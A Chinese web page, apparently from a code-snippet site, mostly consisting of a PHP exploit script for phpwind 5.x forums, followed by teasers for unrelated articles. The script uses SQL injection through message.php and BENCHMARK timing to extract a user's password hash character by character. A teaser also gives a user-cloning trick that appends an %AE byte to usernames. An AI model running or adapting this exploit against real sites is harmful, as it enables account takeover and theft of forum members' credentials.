phpwind Exp 漏洞利用

忘记什么时候我就拿到了,一直没发挥.由于某些原因一直没发出来,毕竟不是原创,现在有人帖出来了,我也放出来. 
 程序代码
<?php
print_r("

+------------------------------------------------------------------+

Exploit For Phpwind 5.X Version
BY  Loveshell
Just For Fun :)

+------------------------------------------------------------------+
");

ini_set("max_execution_time",0);
error_reporting(7);

$bbspath="$argv[2]";
$server="$argv[1]";
$cookie='1ae40_lastfid=0; 1ae40_ol_offset=776; 1ae40_ck_info=%2F%09.72m.net; 1ae40_winduser=A1QKBgE9UFxUUwAHDloFUAMIAFxeUgIMWgFUVVYDAA8HBFQNUVA%3D; 1ae40_lastvisit=0%091173612527%09%2Fbbs%2Findex.php%3F;
$useragent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)";
$uid=intval($argv[3])>0 ? intval($argv[3]):1;

echo "\r\n#Logging\t........";
if(islogin()) echo "Login Ok!\r\n";
else die("Not Login!\tCheck Your Cookie and Useragent!\r\n");

echo "#Testing\t........";
if(test()) echo "Vul!\r\n";
else die("Not Vul");

$hashtable='0123456789abcdef';
$count=0;

echo "#Cracking\t\r\n\r\n";

for($i=1;$i<=16;$i++){
    echo "第\t$i\t位:";
    $subpass=crack($i+8);
    $password=$password.$subpass;
    echo "$subpass\r\n";
}

echo "Password:\t$password";

echo "\r\nGood Luck $count Times\r\n";

function send($cmd,$path)
{
  global $bbspath,$server,$cookie,$count,$useragent,$debug,$evilip;

$path=$bbspath."$path";
  $message = "POST ".$path." HTTP/1.1\r\n";
  $message .= "Accept: */*\r\n";
  $message .= "Accept-Language: zh-cn\r\n";
  $message .= "Referer: http://".$server.$path."\r\n";
  $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
  $message .= "User-Agent: ".$useragent."\r\n";
  $message .= "Host: ".$server."\r\n";
  $message .= "Content-length: ".strlen($cmd)."\r\n";
  $message .= "Connection: Keep-Alive\r\n";
  $message .= "Cookie: ".$cookie."\r\n";
  $message .= "\r\n";
  $message .= $cmd."\r\n";

$count=$count+1;
  $fd = fsockopen( $server, 80 );
  fputs($fd,$message);
  $resp = "<pre>";
  while($fd&&!feof($fd)) {
  $resp .= fread($fd,1024);
  }
  fclose($fd);
  $resp .="</pre>";
  if($debug) {echo $cmd;echo $resp;}
//  echo $resp;
  return $resp;
}

function sqlject($sql){
    global $uid;
    $data='action=pubmsg&readmsg=0)';
    $data=$data." union select BENCHMARK(1000000,md5(12345)) from pw_members where uid=$uid and $sql".'/*';
    $echo=send($data,'message.php');
    preg_match("/Total (.*)\(/i",$echo,$matches);
    if($matches[1]>2) return 1;
    else return 0;
}

function test(){
    global $uid;
    $data='action=pubmsg&readmsg=0)';
    $echo=send($data,'message.php');
    if(strpos($echo,'MySQL Server Error'))    return 1;
    else return 0;
}

function islogin(){
    global $uid;
    $data='action=pubmsg&readmsg=0)';
    $echo=send($data,'message.php');
    if(strpos($echo,'login.php"')) return 0;
    else return 1;
}

function crack($i){
global $hashtable;

$sql="mid(password,$i,1)>0x".bin2hex('8');
if(sqlject($sql)){
    $a=8;
    $b=15;}
else {
    $a=0;
    $b=8;
}

for($tmp=$a;$tmp<=$b;$tmp++){
    $sql="mid(password,$i,1)=0x".bin2hex($hashtable[$tmp]);
    if(sqlject($sql)) return $hashtable[$tmp];
}
crack($i);
}
?>
点击下载此文件

时间: 2007-06-03

PHPWIND 5.3 运行代码 功能实现代码

照样子弄了一下,发现数据格式已经换了,想着弄弄看,随便弄了下,感觉还有搞头.不过里面有<br />,PHP的字符替换我也不懂,试了下preg_replace发现只能替换一个,搞笑了.上网猛查资料,发现大多人说要用函数,汗汗.然后发现还有str_replace,试了下,总算可以了. 具体方法如下: 在template/你的模板名/read.html 在合适的地方加入: 复制代码 代码如下: <script> function run_Code(code) { var pop=wind

php heredoc和phpwind的模板技术使用方法小结

在PHP的文档中,只是提到了echo可以使用如下命令输出多行字符串(而且其中的变量被自动替换): PHP代码  复制代码 代码如下: echo <<<END     This uses the "here document" syntax to output      multiple lines with $variable interpolation. Note      that the here document terminator must appear 

关于phpwind克隆用户的方法

作者:lcx 来源:vbs小铺 首先将字符集中的174转一下,wscript.echo "%"&CStr(Hex(ascb(chrb(174)))),url编码的结果为%AE.当然你用别的字符集里(129-255)的也可以, 我用的是174.然后用achilles(安焦有下),修改post数据,在用户名后加上%AE提交即可.你用别的即时提交工具,好比mini browse也是可以的,这样可以防止注册码的问题.

PHPwind整合最土系统用户同步登录实现方法

上次成功升级了最土商业版,接下来就是整合公司的社区网站,先说明一下我现在工作的地方是个地方社区网站,用的基础程序是PHPWind,我的任务就是让PHPWind和最土登录同步,领导也知道我的技术能力有限,不怎么高要求,所以让我先实现,再考虑其他.赶鸭子上架,开工了. 在我未成熟的程序思考能力下,我首先否定了重写程序这个方法,再次否定了将PHPWind的验证方法引入到最土的方法,最后想出一个折中的办法,将两张表的唯一ID相同:将PHPWind用户表设为主表,最土用户表为外接表,让最土用户ID和PHP

phpwind中的数据库操作类

<?php /*来源:phpwind.net*/ Class DB { var $query_num = 0; function DB($dbhost, $dbuser, $dbpw, $dbname, $pconnect = 0) { $this->connect($dbhost, $dbuser, $dbpw, $dbname, $pconnect); } function connect($dbhost, $dbuser, $dbpw, $dbname, $pconnect = 0) {

PHPWind 发帖回帖Api PHP版打包下载

发帖演示: 次数: 5 地址: http://localhost/Test/upload/post.php?fid=5 完成时间: 2010-02-04 05:49:27 [ 发帖完毕点击进入主题列表 ] 灌水预防机制已经打开,在5秒内不能发帖 [ 发帖完毕点击进入主题列表 ] 灌水预防机制已经打开,在5秒内不能发帖 [ 发帖完毕点击进入主题列表 ] 共发送5次. 回帖演示: 次数: 5 地址: http://localhost/Test/upload/read.php?tid=41&page=

PHP 优化配置——加速你的VBB,phpwind,Discuz,IPB,MolyX第1/2页

让论坛速度更快 PHP加速设置 PHP加速:Zend Optimizer优化PHP程序 Zend Optimizer V2.5.7 For Windows  软件语言:英文 运行环境:Win9x/NT/2000/XP Zend Optimizer V2.5.7 For Windows软件介绍: Zend Optimizer用优化代码的方法来提高PHP 4.0应用程序的执行速度.实现的原理是对那些在被最终执行之前由运行编译器(Run-Time Compiler)产生的代码进行优化.一般情况下,执行

PHPWind9.0手动屏蔽验证码解决后台关闭验证码但是依然显示的问题

最近在设计一款产品,需要POST登录PHPWind,然而众所周知,PHPWind9(以下简称pw9)自身拥有安全策略,详情各位可以自己去phpwind官方论坛看.安全策略的存在会导致即便站长关闭验证码策略依然在登陆时会显示验证码(前提是该用户重试太多次). 要POST登录,并且不需要验证码,就得处理这个问题,然而官方并没有提供解决的方案,只能依赖自己处理. 首先要明白,phpwind不像众多简单的php程序一般只是简单的该页面代码放置于对应文件中,每一次访问都会调用wekit.php,再由wek

phpwind管理权限泄露漏洞利用程序发布

漏洞发布:http://www.80sec.com/  漏洞作者:jianxin@80sec.com  漏洞厂商: http://www.phpwind.com/ 本漏洞影响phpwind所有版本  漏洞危害:高  漏洞说明:phpwind是国内使用非常广泛的一款程序,由于在程序设计上存在错误,导致任何人可以取得前台管理员及斑主权限,做删除帖子等任意操作 利用方式:http://www.80sec.com有提供exploit  漏洞分析:由于phpwind论坛在设计上对数据库存储机制不了解,导致

PHPWind与Discuz截取字符函数substrs与cutstr性能比较

以掌握使用Benchmark_Iterate类工具的方法. 目录 一,什么是PEAR与Benchmark 二,性能比较代码准备与调试 三,性能比较测试结果 四,性能比较测试总结 五,附性能比较源代码下载 一,什么是PEAR与Benchmark 请参考PHP性能优化系列 第二期 PHP性能优化工具篇Benchmark类调试执行时间 第一期 PHP性能优化准备篇图解PEAR安装 二,性能比较代码准备与调试 测试环境说明 操作系统:Windows xp Service Pack 3 PHP版本:PHP

浅谈python中截取字符函数strip,lstrip,rstrip

一.起因 今天在做角色控制中,有一个地方用到rstrip,判断用户请求的url是否与数据库对应可用权限中url相符. if request.path == x.url or request.path.rstrip('/') == x.url: #精确匹配,判断request.path是否与permission表中的某一条相符 借此机会总结一下python中strip,lstrip和rstrip. 二.介绍 Python中strip用于去除字符串的首位字符,同理,lstrip用于去除左边的字符,r

比较discuz和ecshop的截取字符串函数php版

下面先给出两个版本函数的源代码以及简单测试,最后我会给出一个实用性更强的字符串截取函数.需要注意的是:这里讨论的字符串截取问题都是针对UTF-8编码的中文字符串. discuz版本 复制代码 代码如下: /** * [discuz] 基于PHP没有安装 mb_substr 等扩展截取字符串,如果截取中文字则按2个字符计算 * @param $string 要截取的字符串 * @param $length 要截取的字符数 * @param $dot 替换截掉部分的结尾字符串 * @return 返

dim函数第三个参数设置截取字符的长度问题

dim函数的第三个参数,也就是截取字符的长度,我在设置这个的时候,出了些问题:response.write mid(up_address,a(i),a(i+1)-1) & "<br />"像我上面这样写的时候,它就会报错,提示无效的过程调用或参数, response.write mid(up_address,a(i),a(i+1)+1) & "<br />"但是当我把其中的a(i+1)-1改为a(i+1)+1时,就能执行了,a

oracle截取字符(substr)检索字符位置(instr)示例介绍

一:理论 oracle 截取字符(substr),检索字符位置(instr) case when then else end语句使用 收藏 常用函数:substr和instr 1.SUBSTR(string,start_position,[length]) 求子字符串,返回字符串 解释:string 元字符串 start_position 开始位置(从0开始) length 可选项,子字符串的个数 For example: substr("ABCDEFG", 0); //返回:ABCD

php常用字符函数实例小结

本文实例总结了php常用字符函数.分享给大家供大家参考,具体如下: 1. string substr(string  $string, int $start   [,int    $length]) 函数功能:返回字符串string由start和length参数指定的子字符串. 参数: string:输入字符串. start:如果start是非负数,返回的字符串将从string的start位置开始,从0开始计算.如,'abcdef'中,在位置0的为'a',位置2为'c ': 如果start是负数

C#实现根据字节数截取字符串并加上省略号的方法

本文实例讲述了C#按字节数截取字符串并在后面加上省略号...的方法,这是一个自定义的C#函数,函数的使用说明如下: <param name="origStr">原始字符串</param> <param name="endIndex">提取前endIdex个字节</param> <returns></returns> 函数代码如下: public static string GetSubStrin

Oracle字符函数应用检测汉字的方法

-- 验证是否包含汉字 create table test(a varchar2(10)); insert into test values('鸟'); insert into test values('深刻'); insert into test values('aaa'); insert into test values('bbb'); insert into test values('b鸟bb'); SELECT * FROM TEST; -- 对于全角字符,ascii值的范围是\uFF0

ThinkPHP的截取字符串函数无法显示省略号的解决方法

对于ThinkPHP的截取字符串函数无法显示省略号的情况,解决方法如下: 打开Common/extend.php页面,修改msubstr函数如下: function msubstr($str, $start=0, $length, $charset="utf-8", $suffix=true) { if(function_exists("mb_substr")) { if($suffix) { if($str==mb_substr($str, $start, $le

Go语言截取字符串函数用法

本文实例讲述了Go语言截取字符串函数用法.分享给大家供大家参考.具体如下: 复制代码 代码如下: func Substr(str string, start, length int) string {     rs := []rune(str)     rl := len(rs)     end := 0             if start < 0 {         start = rl - 1 + start     }     end = start + length